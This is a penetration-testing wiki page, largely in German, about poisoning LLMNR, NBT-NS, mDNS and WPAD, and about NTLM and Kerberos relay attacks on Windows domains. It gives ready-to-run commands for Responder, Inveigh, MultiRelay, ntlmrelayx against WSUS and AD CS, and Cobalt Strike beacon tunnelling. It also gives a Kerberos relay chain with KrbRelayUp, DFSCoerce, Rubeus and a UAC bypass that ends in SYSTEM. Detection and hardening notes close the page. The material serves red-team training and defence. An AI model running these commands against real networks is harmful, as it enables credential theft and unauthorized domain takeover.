Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

Network Protocols

Local Host Resolution Protocols

• LLMNR, NBT-NS, and mDNS:
• Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS für die lokale Namensauflösung, wenn DNS fehlschlägt. Ebenso nutzen Apple- und Linux-Systeme mDNS.
• Diese Protokolle sind anfällig für Abfangen und Spoofing, da sie unauthentifiziert und broadcast-basiert über UDP arbeiten.
• Responder kann verwendet werden, um Dienste zu imitieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
• Weiterführende Informationen zur Service-Imitation mit Responder finden sich here.

Web Proxy Auto-Discovery Protocol (WPAD)

• WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu entdecken.
• Die Erkennung erfolgt über DHCP, DNS oder als Fallback über LLMNR und NBT-NS, wenn DNS fehlschlägt.
• Responder kann WPAD-Angriffe automatisieren und Clients auf bösartige WPAD-Server umleiten.

Responder for Protocol Poisoning

• Responder ist ein Tool zum Vergiften von LLMNR-, NBT-NS- und mDNS-Anfragen, das selektiv je nach Abfragetyp antwortet und primär SMB-Dienste ins Visier nimmt.
• Es ist in Kali Linux vorinstalliert und konfigurierbar in /etc/responder/Responder.conf.
• Responder zeigt gefangene Hashes auf dem Bildschirm an und speichert sie im Verzeichnis /usr/share/responder/logs.
• Es unterstützt sowohl IPv4 als auch IPv6.
• Eine Windows-Version von Responder ist verfügbar here.

Running Responder

• Um Responder mit den Standard-Einstellungen auszuführen: responder -I <Interface>
• Für aggressiveres Probing (mit möglichen Nebenwirkungen): responder -I <Interface> -P -r -v
• Techniken zum Erfassen von NTLMv1 Challenges/Responses für einfacheres Cracking: responder -I <Interface> --lm --disable-ess
• WPAD-Imitation kann aktiviert werden mit: responder -I <Interface> --wpad
• NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst werden, und ein Authentifizierungsproxy kann eingerichtet werden: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

• Das Spoofen von DHCP-Antworten kann dauerhaft die Routing-Informationen eines Opfers vergiften und ist eine unauffälligere Alternative zu ARP-Poisoning.
• Es erfordert exakte Kenntnisse über die Konfiguration des Zielnetzwerks.
• Ausführung des Angriffs: ./Responder.py -I eth0 -Pdv
• Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältiges Vorgehen, um Netzwerkstörungen zu vermeiden.

Capturing Credentials with Responder

• Responder wird Dienste mit den oben genannten Protokollen imitieren und Anmeldeinformationen (in der Regel NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
• Es können Versuche unternommen werden, auf NetNTLMv1 herunterzustufen oder ESS zu deaktivieren, um das Cracken zu erleichtern.

Es ist entscheidend zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen muss; es ist eine entsprechende Autorisierung sicherzustellen und Störungen oder unbefugten Zugang zu vermeiden.

Inveigh

Inveigh ist ein Tool für penetration testers und red teamers, konzipiert für Windows-Systeme. Es bietet ähnliche Funktionen wie Responder und führt Spoofing- sowie Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einem C#-Binary weiterentwickelt, wobei Inveigh und InveighZero die Hauptversionen sind. Detaillierte Parameter und Anleitungen finden sich im wiki.

Inveigh kann über PowerShell betrieben werden:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Oder als C#-Binary ausgeführt:

Inveigh.exe

NTLM Relay Attack

Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen und liefert bei Erfolg eine System-Shell. Wichtige Voraussetzungen sind:

• Der authentifizierende Benutzer muss auf dem relayed Host Local Admin-Zugriff haben.
• SMB signing sollte deaktiviert sein.

445 Port Forwarding and Tunneling

In Szenarien, in denen eine direkte Netzwerk-Einführung nicht möglich ist, muss der Traffic auf Port 445 weitergeleitet und getunnelt werden. Tools wie PortBender helfen dabei, Port-445-Traffic auf einen anderen Port umzuleiten, was essenziell ist, wenn Local Admin-Zugriff zum Laden eines Treibers verfügbar ist.

PortBender-Einrichtung und -Betrieb in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Weitere Tools für NTLM Relay Attack

• Metasploit: Mit proxies sowie Details zu lokalem und entferntem Host konfigurieren.
• smbrelayx: Ein Python-Skript zum Weiterleiten von SMB-Sitzungen und zum Ausführen von Befehlen oder Bereitstellen von Backdoors.
• MultiRelay: Ein Tool aus der Responder suite zum Weiterleiten bestimmter Benutzer oder aller Benutzer, Ausführen von Befehlen oder Dumpen von Hashes.

Jedes Tool kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS proxy betrieben wird, wodurch Angriffe auch bei indirektem Netzwerkzugang möglich sind.

MultiRelay-Betrieb

MultiRelay wird aus dem /usr/share/responder/tools Verzeichnis ausgeführt und zielt auf bestimmte IPs oder Benutzer ab.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Diese Tools und Techniken bilden eine umfassende Sammlung zur Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

Missbrauch von WSUS HTTP (8530) für NTLM Relay zu LDAP/SMB/AD CS (ESC8)

WSUS-Clients authentifizieren sich beim Update-Server mit NTLM über HTTP (8530) oder HTTPS (8531). Wenn HTTP aktiviert ist, können periodische Client-Check-ins im lokalen Segment erzwungen oder abgefangen und mit ntlmrelayx an LDAP/LDAPS/SMB- oder AD CS-HTTP-Endpunkte (ESC8) weitergeleitet werden, ohne Hashes zu cracken. Das fügt sich in normalen Update-Traffic ein und führt häufig zu Maschinenkonto-Authentifizierungen (HOST$).

What to look for

• GPO/Registry-Konfiguration unter HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate und ...\WindowsUpdate\AU:
• WUServer (z. B. http://wsus.domain.local:8530)
• WUStatusServer (Reporting-URL)
• UseWUServer (1 = WSUS; 0 = Microsoft Update)
• DetectionFrequencyEnabled und DetectionFrequency (Stunden)
• WSUS SOAP-Endpunkte, die von Clients über HTTP verwendet werden:
• /ClientWebService/client.asmx (approvals)
• /ReportingWebService/reportingwebservice.asmx (status)
• Standard-Ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

• Unauthenticated
• Scan nach Listenern: nmap -sSVC -Pn --open -p 8530,8531 -iL
• HTTP-WSUS-Traffic per L2 MITM sniffen und aktive Clients/Endpunkte mit wsusniff.py protokollieren (HTTP-only, außer Sie bringen den Clients bei, Ihrem TLS-Zertifikat zu vertrauen).
• Authenticated
• SYSVOL-GPOs nach WSUS-Keys parsen mit MANSPIDER + regpol (wsuspider.sh Wrapper fasst WUServer/WUStatusServer/UseWUServer zusammen).
• Endpunkte in großem Maßstab von Hosts abfragen (NetExec) oder lokal: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-End HTTP-Relay-Schritte

1. Positionieren für MITM (gleiche L2), sodass ein Client den WSUS-Server auf Sie auflöst (ARP/DNS poisoning, Bettercap, mitm6, etc.). Beispiel mit arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. Port 8530 auf Ihren Relay-Listener umleiten (optional, praktisch): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. ntlmrelayx mit dem HTTP-Listener starten (erfordert Impacket-Support für HTTP-Listener; siehe PRs unten): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Weitere übliche Ziele:

• Relay zu SMB (wenn Signing off) für exec/dump: -t smb://
• Relay zu LDAPS für Verzeichnisänderungen (z. B. RBCD): -t ldaps://
• Relay zu AD CS Web Enrollment (ESC8), um ein Cert zu minten und dann via Schannel/PKINIT zu authentifizieren: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server Für tiefere AD CS-Abuse-Pfade und Tools siehe die AD CS-Seite:

AD CS Domain Escalation

4. Einen Client-Check-in auslösen oder auf den Zeitplan warten. Vom Client: wuauclt.exe /detectnow oder die Windows Update UI verwenden (Check for updates).

5. Die authentifizierten SOCKS-Sessions nutzen (falls -socks) oder direkte Relay-Ergebnisse für Post-Exploitation verwenden (LDAP-Änderungen, SMB-Operationen oder AD CS-Zertifikatsausstellung für spätere Authentifizierung).

HTTPS-Einschränkung (8531)

• Passive Interception von WSUS über HTTPS ist wirkungslos, es sei denn, Clients vertrauen Ihrem Zertifikat. Ohne ein vertrauenswürdiges Zertifikat oder eine andere TLS-Break-Methode kann der NTLM-Handshake aus WSUS-HTTPS-Traffic nicht geerntet/relayed werden.

Notes

• WSUS wurde als deprecated angekündigt, ist aber weiterhin weit verbreitet; HTTP (8530) ist in vielen Umgebungen noch üblich.
• Nützliche Helfer: wsusniff.py (HTTP-WSUS-Check-ins beobachten), wsuspider.sh (WUServer/WUStatusServer aus GPOs auflisten), NetExec reg-query in großem Maßstab.
• Impacket stellte HTTP-Listener-Support für ntlmrelayx in PR #2034 wieder her (ursprünglich in PR #913 hinzugefügt).

Force NTLM Logins

Unter Windows können Sie möglicherweise einige privilegierte Konten dazu zwingen, sich an beliebigen Maschinen zu authentifizieren. Lesen Sie die folgende Seite, um zu erfahren, wie:

Force NTLM Privileged Authentication

Kerberos Relay attack

Ein Kerberos relay attack stiehlt ein AP-REQ ticket von einem Service und verwendet es gegen einen zweiten Service wieder, der denselben Computer-Account-Key teilt (weil beide SPNs auf demselben $ Maschinenkonto sitzen). Das funktioniert, obwohl die Serviceklassen der SPNs unterschieden sind (z. B. CIFS/ → LDAP/), weil der Schlüssel, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String ist kein Teil der Signatur.

Im Gegensatz zum NTLM-Relay ist der Hop auf denselben Host beschränkt, aber wenn Sie ein Protokoll anvisieren, das Schreibzugriff auf LDAP erlaubt, können Sie in Resource-Based Constrained Delegation (RBCD) oder AD CS enrollment kaskadieren und NT AUTHORITY\SYSTEM in einem einzigen Schritt erlangen.

Für detaillierte Informationen zu diesem Angriff siehe:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos basics

• Tickets sind mit dem aus dem Passwort abgeleiteten Schlüssel des Kontos verschlüsselt, das den SPN besitzt.
• Der Authenticator im AP-REQ hat einen 5-Minuten-Timestamp; Replay innerhalb dieses Fensters ist gültig, bis der Service-Cache einen Duplikat-Eintrag sieht.
• Windows prüft selten, ob der SPN-String im Ticket mit dem Service übereinstimmt, den Sie ansprechen, daher entschlüsselt ein Ticket für CIFS/HOST normalerweise auch auf LDAP/HOST korrekt.

• 2. Was erfüllt sein muss, um Kerberos zu relayn

1. Shared key: Quell- und Ziel-SPNs gehören demselben Computerkonto (Standard bei Windows-Servern).
2. No channel protection: SMB/LDAP-Signing aus und EPA für HTTP/LDAPS aus.
3. Sie können Authentifizierung abfangen oder erzwingen: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc.
4. Ticketquelle nicht bereits verwendet: Sie gewinnen das Rennen, bevor das echte Paket ankommt, oder blockieren es vollständig; andernfalls löst der Server-Replay-Cache Event 4649 aus.
5. Sie müssen auf irgendeine Weise in der Lage sein, ein MitM in der Kommunikation durchzuführen — z. B. Teil der DNSAdmins-Gruppe sein, um die DNS der Domain zu ändern, oder die HOST-Datei des Opfers ändern können.

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Starte den Relay-Listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp fasst KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in einer Binärdatei zusammen.

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce veranlasst den DC, ein Kerberos CIFS/DC01-Ticket an uns zu senden.

• 3.4 AP-REQ weiterleiten

KrbRelay extrahiert den GSS-Blob aus SMB, verpackt ihn in einen LDAP-Bind und leitet ihn an ldap://DC01 weiter — die Authentifizierung gelingt, weil der derselbe Schlüssel ihn entschlüsselt.

• 3.5 LDAP ➜ RBCD ➜ SYSTEM missbrauchen

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Du besitzt nun NT AUTHORITY\SYSTEM.

Weitere Pfade, die man kennen sollte

Fehlerbehebung

Erkennung

• Anstieg bei Event 4769 für CIFS/, HTTP/, LDAP/ von derselben Quelle innerhalb von Sekunden.
• Event 4649 beim Service deutet auf Replay hin.
• Kerberos-Logon von 127.0.0.1 (relay to local SCM) ist sehr verdächtig — über Sigma rule in den KrbRelayUp docs abbilden.
• Beobachte Änderungen an msDS-AllowedToActOnBehalfOfOtherIdentity oder msDS-KeyCredentialLink Attributen.

Härtung

1. Enforce LDAP & SMB signing + EPA auf jedem Server durchsetzen.
2. Split SPNs, sodass HTTP nicht auf demselben Konto wie CIFS/LDAP liegt.
3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
4. Setze ms-DS-MachineAccountQuota = 0, um rogue computer joins zu verhindern.
5. Alarm bei Event 4649 und unerwarteten Loopback-Kerberos-Logons.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement